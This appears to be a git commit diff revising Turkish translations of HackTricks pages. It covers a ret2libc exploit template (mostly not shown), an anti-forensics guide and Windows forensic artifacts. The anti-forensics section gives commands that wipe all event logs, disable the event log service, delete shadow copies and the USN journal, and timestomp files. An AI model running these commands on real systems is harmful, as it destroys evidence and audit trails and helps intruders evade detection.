Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-04-07 23:00:39 +00:00
parent 2b0e410c50
commit 42d81e2c9c
35 changed files with 1690 additions and 1748 deletions

View file

@ -2,18 +2,22 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -200,7 +204,7 @@ P.interactive() #Interact with your shell :)
```
{% endcode %}
## Ortak problemler
## Sık Karşılaşılan Sorunlar
### MAIN_PLT = elf.symbols\['main'] bulunamadı
@ -226,18 +230,21 @@ Bu **hata**yı tüm saldırıyı oluşturduktan sonra bulursanız: `sh: 1: %s%s%
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<detaylar>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<özet>
{% embed url="https://websec.nl/" %}
<strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</detaylar>
</details>

View file

@ -1,48 +1,52 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Zaman Damgaları
Bir saldırgan, tespit edilmekten kaçınmak için **dosyaların zaman damgalarını değiştirmek** isteyebilir.\
Zaman damgaları, MFT içindeki `$STANDARD_INFORMATION` __ ve __ `$FILE_NAME` özniteliklerinde bulunabilir.
Bir saldırgan, **dosyaların zaman damgalarını değiştirmek** isteyebilir.\
Zaman damgalarını MFT içindeki `$STANDARD_INFORMATION` ve `$FILE_NAME` özniteliklerinde bulmak mümkündür.
Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değiştirme** (MACE veya MACB).
**Windows Gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`**'dan gösterir.
**Windows Gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`** özniteliğinden gösterir.
## TimeStomp - Anti-forensik Aracı
## TimeStomp - Anti-forensic Aracı
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgisini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgiyi **değiştirmez**. Bu nedenle, **şüpheli** **aktiviteyi** **belirlemek mümkündür**.
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli aktiviteleri tanımlamak mümkündür**.
## Usnjrnl
**USN Günlüğü** (Güncelleme Sıra Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır.
**USN Journal** (Güncelleme Sıra Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır.
![](<../../.gitbook/assets/image (449).png>)
Önceki görüntü, araç tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişikliklerin yapıldığı** görülebilir.
Önceki görüntü, **araç** tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişiklikler yapıldığı** görülebilir.
## $LogFile
Bir dosya sistemindeki **tüm meta veri değişiklikleri**, [ön yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri belirlemek için kullanılabilir.
Bir dosya sistemindeki **tüm meta veri değişiklikleri**, [önceden yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri tanımlamak için kullanılabilir.
![](<../../.gitbook/assets/image (450).png>)
Yine, aracın çıktısında **bazı değişikliklerin yapıldığı** görülebilir.
Aynı araç kullanılarak **zaman damgalarının hangi zamana değiştirildiği** belirlenebilir:
Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiği** belirlenebilir:
![](<../../.gitbook/assets/image (451).png>)
@ -53,34 +57,35 @@ Aynı araç kullanılarak **zaman damgalarının hangi zamana değiştirildiği*
## `$STANDARD_INFORMATION` ve `$FILE_NAME` karşılaştırması
Şüpheli değiştirilmiş dosyaları belirlemenin başka bir yolu, her iki öznitelikteki zamanı karşılaştırmak ve **uyumsuzlukları** aramaktır.
Şüpheli değiştirilmiş dosyaları tanımlamanın başka bir yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzlukları** aramaktır.
## Nanosaniyeler
**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyalar çok şüphelidir**.
**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaların bulunması çok **şüphelidir**.
## SetMace - Anti-forensik Aracı
## SetMace - Anti-forensic Aracı
Bu araç, `$STARNDAR_INFORMATION` ve `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren bu bilginin değiştirilmesi için bir canlı işletim sistemi gereklidir.
Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemi gereklidir.
# Veri Gizleme
NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosyanın yarım küme kullanması durumunda **kalan yarımın hiçbir zaman kullanılmayacağı** anlamına gelir. Bu nedenle, bu "gizli" alanın içine veri **gizlemek mümkündür**.
NTFS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosyanın bir küme ve yarım küme kullanması durumunda, dosya silinene kadar **kalan yarımın asla kullanılmayacağı** anlamına gelir. Bu nedenle, bu "gizli" alanda veri **gizlemek mümkündür**.
Bu "gizli" alanlarda veri gizlemeye izin veren slacker gibi araçlar vardır. Bununla birlikte, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir:
Bu "gizli" alanda veri gizlemeyi sağlayan slacker gibi araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir:
![](<../../.gitbook/assets/image (452).png>)
Bu durumda, FTK Imager gibi araçlar kullanılarak gizli alan kurtarılabilir. Bu tür bir araç, içeriği şifreli veya hatta şifrelenmiş olarak kaydedebilir.
Dolayısıyla, FTK Imager gibi araçlar kullanılarak bu yarım alan alınabilir. Bu tür bir aracın içeriği şifreli veya hatta şifrelenmiş olarak kaydedebileceğini unutmayın.
# UsbKill
Bu, USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı **kapatır** bir araçtır.\
Bunu keşfetmenin bir yolu, çalışan işlemleri incelemek ve **çalışan her python betimini gözden geçirmek** olacaktır.
Bu, USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı **kapatır**.
Bunu keşfetmenin bir yolu, çalışan işlemleri incelemek ve **çalışan her python betiğini gözden geçirmektir**.
# Canlı Linux Dağıtımları
Bu dağıtımlar, **RAM bellek içinde çalıştırılır**. Bunların tespit edilebilmesinin tek yolu, NTFS dosya sisteminin yazma izinleriyle bağlanması durumunda mümkün olacaktır. Salt okunur izinlerle bağlanıldığında, sızma tespit edilemez.
Bu dağıtımlar **RAM bellek içinde çalıştırılır**. NTFS dosya sistemi yazma izinleriyle bağlanmışsa, bunları tespit etmenin tek yolu budur. Sadece okuma izinleriyle bağlanılmışsa, sızma tespit edilemeyecektir.
# Güvenli Silme
@ -88,7 +93,7 @@ Bu dağıtımlar, **RAM bellek içinde çalıştırılır**. Bunların tespit ed
# Windows Yapılandırması
Forensik incelemeyi zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür.
Dijital delillerin incelenmesini zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür.
## Zaman Damgalarını Devre Dışı Bırakma - UserAssist
@ -96,68 +101,70 @@ Bu, her bir yürütülebilir dosyanın kullanıcı tarafından çalıştırıld
UserAssist'in devre dışı bırakılması için iki adım gereklidir:
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı sıfıra ayarlanmalıdır. Böylece UserAssist'in devre dışı bırakılmasını istediğimizi belirtiriz.
1. UserAssist'in devre dışı bırakılmasını istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı sıfıra ayarlanır.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` gibi görünen kayıt defteri alt ağaçlarını temizleyin.
## Zaman Damgalarını Devre Dışı Bırakma - Prefetch
Bu, Windows sisteminin performansını iyileştirmek amacıyla yürütülen uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda forensik uygulamalar için de kullanışlı olabilir.
Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda dijital deliller için de faydalı olabilir.
* `regedit`'i çalıştırın
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` dosya yolunu seçin
* Hem `EnablePrefetcher` hem de `EnableSuperfetch` üzer
* `regedit`i çalıştırın
* Dosya yolunu seçin `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Hem `EnablePrefetcher` hem de `EnableSuperfetch` üzerinde sağ tıklayın
* Her birini değiştirmek için Değiştir'i seçerek değeri 1'den (veya 3'ten) 0'a değiştirin
* Yeniden başlatın
## Zaman Damgalarını Devre Dışı Bırakma - Son Erişim Zamanı
Bir NTFS birimindeki bir klasör Windows NT sunucusunda açıldığında, sistem her listelenen klasörde **bir zaman damgası alanını günceller** ve buna son erişim zamanı denir. Yoğun kullanılan bir NTFS biriminde, bu performansı etkileyebilir.
1. Kayıt Defteri Düzenleyici'yi (Regedit.exe) açın.
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`'e göz atın.
3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır.
4. Kayıt Defteri Düzenleyici'ni kapatın ve sunucuyu yeniden başlatın.
## USB Geçmişini Silme
Tüm **USB Aygıt Girişleri**, USB cihazını bilgisayarınıza veya dizüstü bilgisayarınıza takmanız durumunda oluşturulan alt anahtarları içeren **USBSTOR** kaydı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\
Ayrıca, USB'ler hakkında bilgi saklayan dosya `C:\Windows\INF` içindeki `setupapi.dev.log` dosyası da silinmelidir.
Tüm **USB Aygıt Girişleri**, PC'nize veya Dizüstü Bilgisayarınıza bir USB Aygıtı takıldığında oluşturulan alt anahtarlar içeren **USBSTOR** kayıt defteri anahtarı altında Windows Kayıt Defterinde saklanır. Bu anahtarı burada bulabilirsiniz `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\
Ayrıca [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanarak bunları sildiğinizden emin olabilirsiniz (ve silmek için).
## Gölge Kopyalarını Devre Dışı Bırakma
USB'ler hakkında bilgi saklayan başka bir dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu da silinmelidir.
Gölge kopyalarını `vssadmin list shadowstorage` komutuyla **listele**.\
Onları silmek için `vssadmin delete shadow` komutunu çalıştırın.
## Gölgeleri Devre Dışı Bırakma
Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları takip ederek GUI üzerinden de silebilirsiniz.
`vssadmin list shadowstorage` komutu ile gölgeleri **listele**\
Onları silmek için `vssadmin delete shadow` komutunu çalıştırın
Gölge kopyalarını devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
Ayrıca [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları takip ederek GUI üzerinden de silebilirsiniz.
1. Başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programınıın.
Gölgeleri devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programınıın.
2. Listeden "Volume Shadow Copy" bulun, seçin ve ardından sağ tıklayarak Özelliklere erişin.
3. "Başlangıç türü" açılır menüsünden "Devre Dışı" seçin ve değişikliği uygulamak için Uygula ve Tamam'a tıklayın.
3. "Başlangıç türü" açılır menüsünden Devre Dışı seçin ve Değişikliği uygulamak ve Tamam'a tıklayarak değişikliği onaylayın.
Gölge kopyasında hangi dosyaların kopyalanacağının yapılandırmasını da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` bölümünde değiştirmek mümkündür.
Ayrıca hangi dosyaların gölge kopyasına kopyalanacağının yapılandırmasını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` bölümünden değiştirmek mümkündür.
## Silinen Dosyaları Üzerine Yazma
* Bir **Windows aracı** olan `cipher /w:C` komutunu kullanabilirsiniz. Bu, C sürücüsündeki kullanılmayan disk alanından tüm verileri silmek için cipher'a talimat verir.
* [**Eraser**](https://eraser.heidi.ie) gibi araçları da kullanabilirsiniz.
* `cipher /w:C` komutunu kullanarak **Windows aracını** kullanabilirsiniz: Bu, cipher'a C sürücüsü içindeki kullanılmayan disk alanından tüm verileri kaldırmasını söyler.
* [**Eraser**](https://eraser.heidi.ie) gibi araçları da kullanabilirsiniz
## Windows Olay Günlüklerini Silme
* Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle" seçeneğini seçin.
* Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle" seçeneğini seçin
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Windows Olay Günlüklerini Devre Dışı Bırakma
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Hizmetler bölümünde "Windows Event Log" hizmetini devre dışı bırakın.
* `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl` komutunu kullanın.
* Hizmetler bölümünde "Windows Olay Günlüğü" hizmetini devre dışı bırakın
* `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl`
## $UsnJrnl'yi Devre Dışı Bırakma
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
{% embed url="https://websec.nl/" %}

View file

@ -4,125 +4,129 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Genel Windows Sanat Eserleri
### Windows 10 Bildirimleri
`\Users\<kullanıcıadı>\AppData\Local\Microsoft\Windows\Notifications` yolunda, Windows yıldönümünden önce `appdb.dat` veya Windows Yıldönümünden sonra `wpndatabase.db` adlı veritabanını bulabilirsiniz.
`\Users\<kullanıcıadı>\AppData\Local\Microsoft\Windows\Notifications` yolunda `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) adlı veritabanını bulabilirsiniz.
Bu SQLite veritabanı içinde, ilginç veriler içerebilecek tüm bildirimleri (XML formatında) içeren `Notification` tablosunu bulabilirsiniz.
### Zaman Çizelgesi
Zaman Çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve yürütülen uygulamaların **zaman sırasına göre tarihçesini** sağlayan bir Windows özelliğidir.
Zaman Çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve yürütülen uygulamaların **zamansal tarihçesini** sağlayan bir Windows özelliğidir.
Veritabanı, `\Users\<kullanıcıadı>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı, bir SQLite aracı veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracı ile açılabilir ve [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracı ile açılabilen 2 dosya oluşturur.
Veritabanı `\Users\<kullanıcıadı>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve 2 dosya oluşturur, bu dosyalar [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.**
### ADS (Alternatif Veri Akışları)
İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla bilgi** ekler.
İndirilen dosyalar, nasıl indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın nereden indirildiği gibi **daha fazla bilgi** ekler.
## **Dosya Yedekleri**
### Geri Dönüşüm Kutusu
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde (`C:\$Recycle.bin`) **`$Recycle.bin`** klasöründe bulunabilir.\
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde (`C:\$Recycle.bin`) bulunan **`$Recycle.bin`** klasöründe bulunabilir.\
Bu klasörde bir dosya silindiğinde 2 belirli dosya oluşturulur:
* `$I{id}`: Dosya bilgisi (silindiği tarih}
* `$I{id}`: Dosya bilgisi (ne zaman silindiği tarihi}
* `$R{id}`: Dosyanın içeriği
![](<../../../.gitbook/assets/image (486).png>)
Bu dosyaları kullanarak, silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista - Win10 için `rifiuti-vista.exe` kullanın).
Bu dosyaları kullanarak silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista - Win10 için `rifiuti-vista.exe` kullanın).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Gölgeli Kopyalar
### Hacim Gölge Kopyaları
Shadow Copy, kullanımda olsalar bile, bilgisayar dosyalarının veya birimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen Microsoft Windows'a dahil edilen bir teknolojidir.
